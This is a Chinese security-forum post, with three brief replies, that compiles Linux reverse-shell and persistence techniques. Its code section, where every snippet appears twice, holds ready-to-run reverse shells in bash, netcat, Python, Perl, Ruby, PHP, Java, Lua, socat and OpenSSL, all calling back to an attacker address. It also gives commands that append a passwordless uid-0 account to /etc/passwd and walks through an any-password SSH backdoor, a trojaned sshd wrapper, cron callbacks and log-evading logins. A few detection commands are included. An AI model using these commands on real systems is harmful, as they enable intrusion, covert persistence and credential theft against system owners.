首页
社区
课程
招聘
Linux平台常见反弹shell和权限维持方式总结
发表于: 2020-12-15 09:08 1122

Linux平台常见反弹shell和权限维持方式总结

2020-12-15 09:08
1122

主要是对网上已公开的常见反弹shell和权限维持的方法做个总结,方便后续参考。

获取初始权限,最常见也是个人最喜欢的是反弹shell回来,方便后续操作。这里简单总结下反弹shell的常见手法:

攻击机监听:

目标执行:

或者

第二种则是将标准输入、输出和错误均重定向到socket连接文件。

备注:Linux不同发行版之间存在差异,某些命令可能并不适用,可自行调整。

第一种:

攻击机开2个终端,分别执行监听:

目标主机执行:

监听2个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip。

第二种:

攻击机监听:

目标主机执行:

其中x.x.x.x为攻击机ip。

攻击机监听:

目标执行:

如果目标上没有-e参数可以使用以下命令:

mkfifo的作用是创建FIFO特殊文件,也称为命名管道。FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行读写操作,本质上就是在读写内核通道,这样就可以实现进程间通信。

此外,也可以使用telnet的监听2个端口的方式:

下述脚本均需要现在攻击机上开启监听:nc -lv port,将脚本中ip替换为对应的攻击机IP,port替换为实际使用的端口。

第一种:

第二种:

第一种:

第二种:

攻击机监听:

上传socat到目标主机,然后执行:

方法论:加密流程,绕过拦截

Step 1:VPS上生成SSL证书的公钥/私钥对

Step 2:VPN监听反弹shell

Step 3:连接

此时的shell存在缺陷(无法命令补全等),通过以下方法修复:

pty是一个伪终端模块。pty.spawn(argv[, master_read[, stdin_read]])产生一个进程,并将其控制终端与当前进程的标准输入输出连接。这通常用于阻挡坚持从控制终端读取的程序。向函数 master_read 和 stdin_read 传递了文件描述符,它们应从中读取,并且它们应始终返回字节字符串。两个函数的默认实现在每次函数被调用时将读取并返回至多 1024 个字节。 会向 master_read 回调传入伪终端的主文件描述符以从子进程读取输出,而向 stdin_read 传入文件描述符 0 以从父进程的标准输入读取数据。
在 3.4 版更改: spawn() 现在从子进程的 os.waitpid() 返回状态值

添加普通用户:

添加root用户:

排查方法:

在完成用户添加后,可以对添加的用户赋予超级用户权限。

目标主机执行:

如果目标系统不允许uid=0的用户远程登录,可以增加一个普通用户账号:

有些情况下添加不成功可能是因为密码强度不够,可以适当增加密码强度。

目标主机建立软连接:

攻击机直接ssh登录

这里端口可以任意,但是/tmp/su部分有限制。可以使用任意密码进行登录,在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。具体原理详见Linux的一个后门引发对PAM的探究

缺点:易被排查,通过进程、端口可以轻松看到异常,使用kill -s 9 PID即可清除后门。

在攻击机上生成一对公私钥,然后将公钥上传到目标主机,路径为~/.ssh/authorized_keys,攻击机本地保存私钥。通过ssh登录,ssh程序会发送私钥到目标主机与公钥进行匹配,匹配通过即可实现ssh登录。

生成公钥和私钥:

进入/root/.ssh,将公钥id_rsa.pub的内容复制到目标主机(是否上传替换文件取决于具体情况),在/root/.ssh/authorized_keys中追加id_rsa.pub中的内容,配置完成。(有些系统没有keys文件,可以自行创建一个。)

缺点:易被排查,检查/root/.ssh/authorized_keys是否被修改,清理不受信的公钥即可清除后门。

目标主机上执行:

完成后执行cat sshd进行验证,输出如下则说明配置成功:

攻击机上执行:

这里的sourceport可以进行修改,但是需要使用python的struct标准库实现。

原理简单说明:init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell

简单点就是从sshd程序fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行判断。

排查方法:

如果想彻底恢复的话,需要进行ssh服务的重装。

在进行ssh登录时可以使用以下命令实现隐身登录,避免被last\who\w等指令检测到。

需要配合普通用户进行使用。root权限下执行如下命令,普通用户运行/dev/.rootshell即可获得root权限:

备注:bash2针对suid做了一些防护措施,需要使用-p参数来获取一个root shell。另外,普通用户执行这个SUID shell时,一定要使用全路径。该方法个人认为较为鸡肋,且bash版本现在较高,可利用性不高。

crontab命令用于设置周期性被执行的指令,可以利用该命令新建shell脚本,利用脚本进行反弹。

Step 1 :创建shell脚本,例如在/etc/evil.sh

并给脚本赋予相应权限:

Step 2:设置定时服务

输入以下内容:

重启crond服务,service crond restart,然后使用nc接收shell。

上述方法在实际测试中成功了率较低,建议使用一句话后门:

这种方式成功率更高,而且不易被crontab -l发现。

其中关于crondtab的详细原理可以参考:https://cloud.tencent.com/developer/article/1683265

排查手段:

可以通过alias命令来执行特定的命令时静默运行其他程序,从而达到启动后门,记录键值等作用。2个实例:

修改ssh命令,利用strace,使其具有记录ssh对read、write、connect调用的功能:

利用守护进程回弹shell

回弹shell的c语言版脚本:

使用nc监听回弹的shell。

PAM(Pluggable Authentication Modules),是由Sun提出的一种认证机制。它通过一共一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。这种后门主要是通过pam_unix_auth.c打补丁的方式潜入到正常的pam模块中,以此来记录管理员的账号密码。其大致流程如下:

一个自动化脚本如下:

可以根据需要将下载pam部分修改为上传本地下载好的pam,这样可以避免目标主机无法访问对应链接地址时造成的文件下载失败。

Linux PAM版本地址:http://www.linux-pam.org/library/

详细情况可参考https://blog.51cto.com/redkey/1343316

bash提供来一个环境变量PROMPT_COMMAND,这个变量会在执行命令前执行一遍。

也可以使用该变量进行提权:https://www.anquanke.com/post/id/155943

根据搜索情况来看,一般水平的rootkit很容易将系统环境搞崩,而高质量的Rootkit不太容易找,因此如非迫不得已,不是很建议直接使用这种方法。如果能单独进行定制,是另外一种情况。这里暂时先给出一个收集的rootkit库:https://github.com/d30sa1/RootKits-List-Download

nc -lvvp port
nc -lvvp port
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
 
 
nc -lv port1
nc -lv port1
nv -lv port2
nv -lv port2
telent x.x.x.x port1 | /bin/bash | telnet x.x.x.x port2
telent x.x.x.x port1 | /bin/bash | telnet x.x.x.x port2
 
 
nc -lv port
nc -lv port
rm -f /tmp/a;mknod /tmp/a p;telnet x.x.x.x port 0</tmp/a | /bin/bash 1>tmp/a
rm -f /tmp/a;mknod /tmp/a p;telnet x.x.x.x port 0</tmp/a | /bin/bash 1>tmp/a
nc -lv port
nc -lv port
nc -e /bin/bash x.x.x.x port
nc -e /bin/bash x.x.x.x port
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>$1 | nc x.x.x.x port >/tmp/f
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>$1 | nc x.x.x.x port >/tmp/f
 
nc x.x.x.x port1 | /bin/bash | nc x.x.x.x port2
nc x.x.x.x port1 | /bin/bash | nc x.x.x.x port2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i <&3 >&3 2>&3");'
public class Revs {
    /**
    * @param args
    * @throws Exception
    */
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}
public class Revs {
    /**
    * @param args
    * @throws Exception
    */
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"
socat file:`tty`,raw,echo=0 tcp-listen:port
socat file:`tty`,raw,echo=0 tcp-listen:port
socat exec:'bash -li',pty,stderr,setid,sigint,sane tcp x.x.x.x:port
socat exec:'bash -li',pty,stderr,setid,sigint,sane tcp x.x.x.x:port
 
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet  -key key.pem -cert cert.pem -port 443
openssl s_server -quiet  -key key.pem -cert cert.pem -port 443
mkfifo /tmp/v4ler1an;/bin/bash -i < /tmp/v4ler1an 2>&1 |openssl s_client -quiet -connect x.x.x.x:443 > /tmp/v4ler1an
mkfifo /tmp/v4ler1an;/bin/bash -i < /tmp/v4ler1an 2>&1 |openssl s_client -quiet -connect x.x.x.x:443 > /tmp/v4ler1an
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
# 创建一个用户名guest,密码为123456的普通用户
 
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
 
# useradd -p 方法 `` 是用来存放可执行的系统命令。“$()”也可以存放命令执行语句。
useradd -p "$(openssl passwd -1 123456)" guest
 
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
 
# echo -e方法
useradd guest;echo -e "123456\n123456\n" |passwd guest
# 创建一个用户名guest,密码为123456的普通用户
 
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
 
# useradd -p 方法 `` 是用来存放可执行的系统命令。“$()”也可以存放命令执行语句。
useradd -p "$(openssl passwd -1 123456)" guest
 
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
 
# echo -e方法
useradd guest;echo -e "123456\n123456\n" |passwd guest
# 创建一个用户名为guest,密码为123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/guest
# 创建一个用户名为guest,密码为123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/guest
# 查询特权用户(uid = 0)
awk -F: '$3==0{print $1}' /etec/passwd
# 查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
# 查询特权用户(uid = 0)
awk -F: '$3==0{print $1}' /etec/passwd
# 查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
 
echo "v4ler1an:x:0:0::/:/bin/sh" >> /etc/passwd
echo "v4ler1an:x:0:0::/:/bin/sh" >> /etc/passwd
echo "v4ler1an::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
echo "v4ler1an::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
ssh root@x.x.x.x -p 5555
ssh root@x.x.x.x -p 5555
 
 
ssh-keygen -t rsa
ssh-keygen -t rsa
 
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
#!/usr/bin/perl
exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);
exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,
#!/usr/bin/perl
exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);
exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,
socat STDIO TCP4:x.x.x.x:22,sourceport=13377
socat STDIO TCP4:x.x.x.x:22,sourceport=13377
python
>>> import struct
>>> buffer = struct.pack('>I6',19256)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
python
>>> import struct
>>> buffer = struct.pack('>I6',19256)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
 
 
ls -al /usr/sbin/sshd
cat /usr/sbin/sshd
ls -al /usr/sbin/sshd
cat /usr/sbin/sshd
# 不被last\who\w等指令检测
ssh -T username@x.x.x.x /bin/bash -i
 
# 不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostFile=/dev/null -T user@x.x.x.x /bin/bash -if
# 不被last\who\w等指令检测
ssh -T username@x.x.x.x /bin/bash -i
 
# 不记录ssh公钥在本地.ssh目录中

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 5
支持
分享
最新回复 (3)
雪    币: 1062
活跃值: (619)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
赞,正在学习lkm rookit
2020-12-15 19:48
0
雪    币: 3172
活跃值: (1766)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
保存PDF是很好的习惯
2020-12-22 11:38
0
雪    币: 1217
活跃值: (616)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
感谢整理汇总
2020-12-22 13:47
0
游客
登录 | 注册 方可回帖
返回
//